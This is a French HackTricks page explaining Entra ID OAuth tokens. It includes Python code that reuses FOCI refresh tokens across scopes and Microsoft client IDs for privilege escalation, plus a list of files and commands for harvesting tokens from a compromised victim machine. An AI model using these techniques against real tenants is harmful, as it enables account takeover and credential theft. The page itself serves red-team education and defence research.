Az - Tokens & Public Applications
Reading time: 12 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Basic Information
Entra ID est la plateforme de gestion des identités et des accès (IAM) basée sur le cloud de Microsoft, servant de système d'authentification et d'autorisation fondamental pour des services comme Microsoft 365 et Azure Resource Manager. Azure AD implémente le cadre d'autorisation OAuth 2.0 et le protocole d'authentification OpenID Connect (OIDC) pour gérer l'accès aux ressources.
OAuth
Participants clés dans OAuth 2.0 :
- Serveur de ressources (RS) : Protège les ressources appartenant au propriétaire des ressources.
- Propriétaire des ressources (RO) : Typiquement un utilisateur final qui possède les ressources protégées.
- Application cliente (CA) : Une application cherchant à accéder aux ressources au nom du propriétaire des ressources.
- Serveur d'autorisation (AS) : Délivre des jetons d'accès aux applications clientes après les avoir authentifiées et autorisées.
Scopes et consentement :
- Scopes : Permissions granulaires définies sur le serveur de ressources qui spécifient les niveaux d'accès.
- Consentement : Le processus par lequel un propriétaire de ressources accorde à une application cliente la permission d'accéder aux ressources avec des scopes spécifiques.
Intégration Microsoft 365 :
- Microsoft 365 utilise Azure AD pour l'IAM et est composé de plusieurs applications OAuth "de première partie".
- Ces applications sont profondément intégrées et ont souvent des relations de service interdépendantes.
- Pour simplifier l'expérience utilisateur et maintenir la fonctionnalité, Microsoft accorde un "consentement implicite" ou un "pré-consentement" à ces applications de première partie.
- Consentement implicite : Certaines applications se voient automatiquement accorder l'accès à des scopes spécifiques sans approbation explicite de l'utilisateur ou de l'administrateur.
- Ces scopes pré-consentis sont généralement cachés à la fois des utilisateurs et des administrateurs, les rendant moins visibles dans les interfaces de gestion standard.
Types d'applications clientes :
- Clients confidentiels :
- Possèdent leurs propres identifiants (par exemple, mots de passe ou certificats).
- Peuvent s'authentifier de manière sécurisée auprès du serveur d'autorisation.
- Clients publics :
- N'ont pas d'identifiants uniques.
- Ne peuvent pas s'authentifier de manière sécurisée auprès du serveur d'autorisation.
- Implication de sécurité : Un attaquant peut usurper une application cliente publique lors de la demande de jetons, car il n'existe aucun mécanisme pour que le serveur d'autorisation vérifie la légitimité de l'application.
Authentication Tokens
Il existe trois types de jetons utilisés dans OIDC :
- Jetons d'accès: Le client présente ce jeton au serveur de ressources pour accéder aux ressources. Il ne peut être utilisé que pour une combinaison spécifique d'utilisateur, de client et de ressource et ne peut pas être révoqué jusqu'à son expiration - c'est-à-dire 1 heure par défaut.
- Jetons d'identité : Le client reçoit ce jeton du serveur d'autorisation. Il contient des informations de base sur l'utilisateur. Il est lié à une combinaison spécifique d'utilisateur et de client.
- Jetons de rafraîchissement : Fournis au client avec le jeton d'accès. Utilisés pour obtenir de nouveaux jetons d'accès et d'identité. Il est lié à une combinaison spécifique d'utilisateur et de client et peut être révoqué. L'expiration par défaut est de 90 jours pour les jetons de rafraîchissement inactifs et pas d'expiration pour les jetons actifs (il est possible d'obtenir de nouveaux jetons de rafraîchissement à partir d'un jeton de rafraîchissement).
- Un jeton de rafraîchissement doit être lié à un
aud
, à certains scopes, et à un tenant et il ne devrait pouvoir générer des jetons d'accès que pour cet aud, ces scopes (et pas plus) et ce tenant. Cependant, ce n'est pas le cas avec les jetons d'applications FOCI. - Un jeton de rafraîchissement est chiffré et seul Microsoft peut le déchiffrer.
- Obtenir un nouveau jeton de rafraîchissement ne révoque pas le jeton de rafraîchissement précédent.
warning
Les informations pour l'accès conditionnel sont stockées à l'intérieur du JWT. Donc, si vous demandez le jeton depuis une adresse IP autorisée, cette IP sera stockée dans le jeton et vous pourrez ensuite utiliser ce jeton depuis une adresse IP non autorisée pour accéder aux ressources.
Access Tokens "aud"
Le champ indiqué dans le champ "aud" est le serveur de ressources (l'application) utilisé pour effectuer la connexion.
La commande az account get-access-token --resource-type [...]
prend en charge les types suivants et chacun d'eux ajoutera un "aud" spécifique dans le jeton d'accès résultant :
caution
Notez que les éléments suivants ne sont que les API prises en charge par az account get-access-token
, mais il y en a d'autres.
exemples d'aud
- aad-graph (Azure Active Directory Graph API) : Utilisé pour accéder à l'API Azure AD Graph héritée (dépréciée), qui permet aux applications de lire et d'écrire des données d'annuaire dans Azure Active Directory (Azure AD).
https://graph.windows.net/
- arm (Azure Resource Manager) : Utilisé pour gérer les ressources Azure via l'API Azure Resource Manager. Cela inclut des opérations telles que la création, la mise à jour et la suppression de ressources telles que des machines virtuelles, des comptes de stockage, et plus encore.
-
https://management.core.windows.net/ ou https://management.azure.com/
-
batch (Azure Batch Services) : Utilisé pour accéder à Azure Batch, un service qui permet d'exécuter efficacement des applications de calcul parallèle à grande échelle et de haute performance dans le cloud.
-
https://batch.core.windows.net/
- data-lake (Azure Data Lake Storage) : Utilisé pour interagir avec Azure Data Lake Storage Gen1, qui est un service de stockage et d'analyse de données évolutif.
-
https://datalake.azure.net/
-
media (Azure Media Services) : Utilisé pour accéder à Azure Media Services, qui fournissent des services de traitement et de livraison de médias basés sur le cloud pour le contenu vidéo et audio.
-
https://rest.media.azure.net
- ms-graph (Microsoft Graph API) : Utilisé pour accéder à l'API Microsoft Graph, le point de terminaison unifié pour les données des services Microsoft 365. Il vous permet d'accéder aux données et aux informations des services tels qu'Azure AD, Office 365, Enterprise Mobility et les services de sécurité.
-
https://graph.microsoft.com
-
oss-rdbms (Azure Open Source Relational Databases) : Utilisé pour accéder aux services de base de données Azure pour des moteurs de bases de données relationnelles open-source comme MySQL, PostgreSQL et MariaDB.
-
https://ossrdbms-aad.database.windows.net
Access Tokens Scopes "scp"
Le scope d'un jeton d'accès est stocké à l'intérieur de la clé scp dans le JWT du jeton d'accès. Ces scopes définissent à quoi le jeton d'accès a accès.
Si un JWT est autorisé à contacter une API spécifique mais n'a pas le scope pour effectuer l'action demandée, il ne pourra pas effectuer l'action avec ce JWT.
Get refresh & access token example
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
Autres champs de jeton d'accès
- appid : ID de l'application utilisé pour générer le jeton
- appidacr : La référence de classe de contexte d'authentification de l'application indique comment le client a été authentifié, pour un client public la valeur est 0, et si un secret client est utilisé la valeur est 1
- acr : La revendication de référence de classe de contexte d'authentification est "0" lorsque l'authentification de l'utilisateur final ne répond pas aux exigences de l'ISO/IEC 29115.
- amr : La méthode d'authentification indique comment le jeton a été authentifié. Une valeur de “pwd” indique qu'un mot de passe a été utilisé.
- groups : Indique les groupes dont le principal est membre.
- iss : Les problèmes identifient le service de jeton de sécurité (STS) qui a généré le jeton. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (l'uuid est l'ID du locataire)
- oid : L'ID de l'objet du principal
- tid : ID du locataire
- iat, nbf, exp : Émis à (quand il a été émis), Pas avant (ne peut pas être utilisé avant ce moment, généralement la même valeur que iat), Temps d'expiration.
Escalade de privilèges des jetons FOCI
Il a été mentionné précédemment que les jetons d'actualisation devraient être liés aux portées avec lesquelles ils ont été générés, à l'application et au locataire auxquels ils ont été générés. Si l'une de ces limites est franchie, il est possible d'escalader les privilèges car il sera possible de générer des jetons d'accès pour d'autres ressources et locataires auxquels l'utilisateur a accès et avec plus de portées que ce qui était initialement prévu.
De plus, cela est possible avec tous les jetons d'actualisation dans la Microsoft identity platform (comptes Microsoft Entra, comptes personnels Microsoft et comptes sociaux comme Facebook et Google) car comme le mentionnent les docs : "Les jetons d'actualisation sont liés à une combinaison d'utilisateur et de client, mais ne sont pas liés à une ressource ou à un locataire. Un client peut utiliser un jeton d'actualisation pour acquérir des jetons d'accès à travers n'importe quelle combinaison de ressource et de locataire où il a la permission de le faire. Les jetons d'actualisation sont cryptés et seule la Microsoft identity platform peut les lire."
De plus, notez que les applications FOCI sont des applications publiques, donc aucun secret n'est nécessaire pour s'authentifier auprès du serveur.
Ensuite, les clients FOCI connus rapportés dans la recherche originale peuvent être trouvés ici.
Obtenir une portée différente
En suivant l'exemple de code précédent, dans ce code, un nouveau jeton est demandé pour une portée différente :
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
Obtenir différents clients et portées
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
Où trouver des tokens
Du point de vue d'un attaquant, il est très intéressant de savoir où il est possible de trouver des tokens d'accès et de rafraîchissement lorsque, par exemple, le PC d'une victime est compromis :
- À l'intérieur de
<HOME>/.Azure
azureProfile.json
contient des informations sur les utilisateurs connectés dans le passéclouds.config
contient des informations sur les abonnementsservice_principal_entries.json
contient les identifiants des applications (id de locataire, clients et secret). Seulement sur Linux et macOSmsal_token_cache.json
contient des tokens d'accès et des tokens de rafraîchissement. Seulement sur Linux et macOSservice_principal_entries.bin
etmsal_token_cache.bin
sont utilisés sur Windows et sont cryptés avec DPAPImsal_http_cache.bin
est un cache de requêtes HTTP- Chargez-le :
with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)
AzureRmContext.json
contient des informations sur les connexions précédentes utilisant Az PowerShell (mais pas d'identifiants)- À l'intérieur de
C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*
se trouvent plusieurs fichiers.bin
avec des tokens d'accès, des tokens ID et des informations de compte cryptées avec le DPAPI des utilisateurs. - Il est possible de trouver plus de tokens d'accès dans les fichiers
.tbres
à l'intérieur deC:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\
qui contiennent un base64 crypté avec DPAPI avec des tokens d'accès. - Sur Linux et macOS, vous pouvez obtenir des tokens d'accès, tokens de rafraîchissement et tokens ID depuis Az PowerShell (si utilisé) en exécutant
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
- Sur Windows, cela génère uniquement des tokens ID.
- Il est possible de voir si Az PowerShell a été utilisé sur Linux et macOS en vérifiant si
$HOME/.local/share/.IdentityService/
existe (bien que les fichiers contenus soient vides et inutiles) - Si l'utilisateur est connecté à Azure avec le navigateur, selon ce post, il est possible de commencer le flux d'authentification avec une redirection vers localhost, de faire autoriser automatiquement la connexion par le navigateur, et de recevoir le token de rafraîchissement. Notez qu'il n'y a que quelques applications FOCI qui permettent la redirection vers localhost (comme az cli ou le module PowerShell), donc ces applications doivent être autorisées.
Références
- https://github.com/secureworks/family-of-client-ids-research
- https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.